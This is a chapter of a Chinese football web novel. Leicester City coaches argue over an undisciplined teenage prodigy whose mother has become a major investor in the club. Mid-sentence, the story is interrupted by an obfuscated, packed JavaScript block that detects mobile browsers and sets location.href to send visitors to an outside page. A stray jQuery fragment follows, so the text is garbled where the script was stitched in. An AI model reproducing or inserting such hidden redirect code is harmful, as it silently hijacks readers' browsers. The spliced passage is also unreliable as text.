14.第 14 章

作品:《信托宝贝泥潭打滚[足球]

    莱斯特城训练基地,主教练办公室。


    青年队主管马克·杰克逊几乎是用肩膀粗暴地撞开了门。这位总是笑眯眯和和气气对所有小球员都耐心引导的和善中年人,此刻呼吸粗重,表情严肃。


    “皮尔森,你必须给我个准话,什么时候把岑维希带走——”


    蓝狐的一线队主教练奈杰尔·皮尔森正弯着腰给自己做咖啡,见此场景,他直起身,笑着拍了拍同事,然后递过去一杯咖啡:


    “哇哇哇,马克,你知道你现在像什么吗?那只患有哮喘的斗牛犬。”


    “我不是来开玩笑的,奈杰尔·皮尔森!”青训教练把咖啡杯推开,双手撑住桌面,身体前倾,眼睛直视对方:“听着,皮尔森,我不知道你到底是为什么要把岑维希放到青年队,但是我告诉你,你必须把他调走,现在,立刻,马上,不然他会毁掉我们蓝狐的青训的!”


    “这么严重?”皮尔森吓了一大跳。


    “是的,就是这么严重。”


    “不可能吧,”皮尔森根本不相信,他转过身鼓捣他的咖啡机,漫不经心地说:“他在一线队表现还行啊,而且,他还是个15岁的孩子,他能做什么?他让你输掉比赛了吗?那就别让他上场呗。相信我,不需要做多余的事,只要让他们坐个几周的板凳,球员自己就会像狗一样意识到你才是老大。”


    青训教练沉重地摇了摇头。


    “怎么了?他坐板凳也不听话?他打架斗殴了?他聚众赌博了?”


    青训教练依然摇头。


    “比你说的一切都更加糟糕。”


    “难道...”皮尔森放下咖啡杯,沉重地说出了最坏的猜测:“他带着我们的小球员吸食ariguana了?”


    青训教练摇头。


    皮尔森抱着脑袋想还能有什么比这个还要糟糕。


    “所以,告诉我吧,岑维希到底做了什么?”


    “他赢了比赛。”


    “......”


    皮尔森难以置信地看向自己的青训教练,只觉得应该一个电话送对方去治疗老年痴呆:“就这?”


    青训教练沉重点头。


    “赢了比赛你激动个什么劲?”


    “因为他赢的不只是一场比赛,蠢货!”


    “他赢了多少?”


    青训教练伸出一只手。


    “5场?”


    青训教练又伸出另一只手,摆出一根手指。


    “6场?”


    青训教练点头。


    “哦,那我赢得更多,”皮尔森长舒一口气,坐回去,伸出两根手指:“我已经连续12场没有输过球了”


    或许是上赛季被戏剧性地20秒绝杀失去晋级资格让蓝狐队内士气如虹,所有球员都憋着一口气想要在这赛季把他们失去的都夺回来。


    现在只有赢得英冠冠军,获得升入英超的资格才能抹去他们成为‘传奇背景板’的耻辱了。


    “皮尔森!我不是在跟你开玩笑!他赢了6场球,你懂吗,6场!”


    皮尔森推开同事快戳到自己眼睛的手指:“6场又怎么样了,我赢的是他的两倍...”


    “米德尔斯堡,埃弗顿,桑德兰......”青训教练掰着手指头算:“每一场他都赢了,而且,是用他的那种方式赢。”


    皮尔森坐直了身体,他意识到了事情的严重性。


    “你是说......”


    “没错,”青年队教练沉重点头:“他根本不遵守战术。”


    “打米堡,岑维希失位被对方中场一个直塞打穿,然后他自己回追半个球场把球铲断了...哦,他的铲断太凶把对面孩子给吓到退场了。”


    “打狼队,肉搏战,他像个橄榄球跑卫一样,从后场闭着眼睛带球,谁来他就创翻谁,最后一条龙带到球门前,三个前锋在那里举手等他,他倒好自己吃独食,一脚射门...”


    “球进了?”


    青年队教练点头,然后摇头:“球没进。”


    皮尔森深吸一口气:“那正是要教育他传球的好机会啊...这种球给了前锋就赢了啊...”


    “不,岑维希不是那种普通的小孩,”青年队教练沉痛地说:“他认识到了自己的错误,然后,他再来了一遍。”


    “这次球进了,全队都跑去跟他庆祝,甚至我们三个前锋手都不举了,就站在前场看他的表演。”


    “还有埃弗顿......”


    “桑德兰那次更加离谱......”


    青年队教练的委屈犹如泰晤士的河水,汹涌澎湃地倾倒给主教练。


    桌面上的咖啡已经不冒白烟了,破防的青训教练面色凄然地总结道:“总之,岑维希绝对不能再待在青训队了。”


    “他正在毁了我们蓝狐的根基——纪律和铁血。”


    本来没有当回事的皮尔森支着脑袋陷入了沉思。


    英国是现代足球的发源地,每一家貌不惊人的俱乐部可能都有着漫长的历史和辉煌的一页。莱斯特城这个只有30多万人口的小地方能够在足球的世界里面屹立于英冠,靠的就是他们高度的纪律性。


    他们没有钱,没有历史,没有天赋异禀的球王。


    他们只有像军队一样勤恳跑动的普通球员。


    但是纪律这个东西,树立起来很难,破坏掉却非常简单——只要有一个人不听指挥,砰,纪律就土崩瓦解了。


    所有人都会下意识地想着,既然他可以不遵守纪律,那凭什么我不行?


    “马克,就没有其他办法了吗?你知道岑维希是一块天赋异禀的好苗子...”


    “我知道,奈杰尔,我知道。”青训教练也很无奈:“任何人看过岑维希比赛,哦不,甚至不需要比赛,看过他的训练,就知道他一定会有所作为。”


    “他的体能,他的对抗,他小小的身体里面蕴含着难以想象的能量。”


    “更恐怖的是,他现在甚至还在发育期。”


    “等他20多岁身体素质到达巅峰他绝对会是场上一辆暴力推土机,把那些身价不菲的天皇巨星全部铲飞,所有的盘带在他的面前都是土鸡瓦狗,花哨得像街头的三流魔术......”


    说到这里,两位执教过岑维希的教练都露出一种和年龄不相符合的梦幻般的微笑,像是毛头小子见到了梦寐以求的性感明星。说真的,岑维希的跑动和对抗能力对于两个后卫出身的主教练来说简直比脱光了的性感明星还要诱人千百倍...


    “但是,但是,但是...”


    “足球不是一个人的运动。”


    “他之前玩的赛车是个人英雄主义的游戏,但是足球不是,至少在蓝狐不是。场上永远不可能出现一个人战胜对方11个人这种事。”


    “...但是,他现在就在做这种事。1挑11。”皮尔森沉重地开口。


    “是的。”青训教练苦涩地叹气:“他正在掀翻全场,他根本不适合U18,他正在带坏我们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116623|195726||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的小伙子们。越来越多的小孩尝试像他一样地冲刺对抗,但是,奈杰尔,你知道的,并不是所有人都这么幸运......”


    两个职业生涯并不算成功的后卫对视一眼。


    他们两个的职业生涯在普通人里面已经算得上成功了,毕竟至少走上了职业球员的道路,靠踢足球吃上了饭,但是对于大多数人......


    “我想,岑维希需要的是更高规格的比赛,或者一个能够支持他那种‘球王踢法’的俱乐部。”这位流着蓝狐血液的青训教练无奈又苦涩地说:“他应该去拉玛西亚,或者卡斯蒂利亚,去皇马,去巴萨,至少也要去曼联或者阿森纳,在那里他或许会学会尊重。”


    “学会战术,学会听教练的话,学会足球不是一个人的游戏......”


    他们两个都默契地忽略掉了让岑维希踢一线队这件事。


    让无组织无纪律的家伙来职业联赛踢球简直就是在队伍里面放了个炸弹。他们不想要用自己的职业生涯去冒这个险......


    但是……


    “不,我不能送他走。”皮尔森叹了口气:“他必须呆在蓝狐。”


    “为什么?”


    青训教练不理解,然后他顺着主教练的视线看向了远方...


    一线队的球员们正在绿茵场上训练,那个草真绿啊,他们笑的真开心啊,等下,那个草是不是绿的有点太好了...?


    球员训练怎么不穿球衣穿着个奇怪的背心?这个背心怎么连着了个电线?


    球场旁边什么时候多出来了这么多人?他们拿着电脑在看什么呢?


    ......


    青训教练擦了擦眼睛,他觉得自己最近大概是被岑维希大魔王折磨的心力憔悴,怎么都忽略了队伍里面这么多的新变化呢?


    咱们蓝狐这是怎么了,一下子我怎么看不明白了啊?


    他疑惑地看向主教练求教,然后,他的目光越过主教练,落在他身后的那一台咖啡机上。


    亮闪闪的,全新的,木质手柄和金属配色在百叶窗透出来的阳光下显得高级又优雅。


    他记得上次来皮尔森办公室他好像是拿个塑料纸杯从饮水机接的水来着......


    他看着看着,眼睛睁大,忽然明白了过来。


    “没错,就是你想的那样。”主教练皮尔森叹了口气。


    “岑维希的妈妈岑寻竹和咱们的泰国人主席一见如故,她已经注入了一大笔资金用于改善蓝狐的‘训练条件和竞技水平’。”


    青训教练像是没有听懂他在说什么,他大张着嘴巴,看向主教练的脸,又转向那台崭新的昂贵咖啡机。


    主教练咳嗽了一嗓子。


    当然,主教练的生活质量也是影响竞技水平的一部分。


    而主教练办公室的咖啡水准将对球员的心理健康、球队的凝聚力产生至关重要的决定性影响。


    总之......


    “我们不可能劝退岑维希的。”


    皮尔森拍了拍青年队教练的肩膀:“也许有一天,我们都下课被扫地出门,他都不会走的。”


    “因为他现在算是,我们的老板了。”


    “那我们该怎么办?”马克·杰克逊有些茫然地问道,这位经历了2000年蓝狐联赛杯的冠军球员,退役之后也留在蓝狐带青训,半辈子献给莱斯特城的中年人现在感觉非常的无助。


    “我们可以……”主教练思索了一下:“来杯咖啡吧”